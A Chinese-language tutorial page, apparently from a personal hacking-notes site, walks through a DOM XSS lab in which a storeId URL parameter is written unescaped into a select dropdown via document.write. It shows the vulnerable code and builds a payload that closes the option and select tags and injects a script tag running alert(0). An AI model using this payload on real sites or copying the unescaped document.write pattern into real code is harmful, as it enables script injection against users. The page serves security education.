> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xss/xss-dom-with-document-write-inside-a-select.md).

# select 中的 document.write DOM XSS

### 在 select 元素中使用来源 location.search 通过 document.write 注入点导致的 DOM XSS

<figure><img src="/files/b01bf91ea303ad4791ac6694d753b6a2540c94e5" alt=""><figcaption></figcaption></figure>

以下代码动态生成一个 `<select>` 包含不同城市的下拉菜单，并选择在 **storeId** URL 中传递的参数：

```javascript
var stores = ["London", "Paris", "Milan"];
var store = (new URLSearchParams(window.location.search)).get("storeId");

document.write('<select name="storeId">');

if (store) {
  document.write('<option selected>' + store + "</option>");
}

for (var i = 0; i < stores.length; i++) {
  if (stores[i] === store) {
    continue;
  }
  document.write("<option>" + stores[i] + "</option>");
}

document.write("</select>");
```

参数示例：

```
product?productId=2&storeId=Jordan
```

* 这会向下拉列表中添加一个新选项。

<figure><img src="/files/4f7b705073ad8d81a0a518bafd701b47be5d36c0" alt=""><figcaption></figcaption></figure>

通过手动闭合 `<option>` 标签：

```javascript
</option>Jordan
```

`<select>` 也可以闭合：

```javascript
</option></select>Jordan
```

<figure><img src="/files/ae701992631c0f51cc1501635ca2c1274a8b1ce9" alt=""><figcaption></figcaption></figure>

最终注入以运行 JavaScript：

```javascript
</option></select><script>alert(0)</script>
```

<figure><img src="/files/c96383759d25255bee86ca7c5e3c516a2ec73b53" alt=""><figcaption></figcaption></figure>


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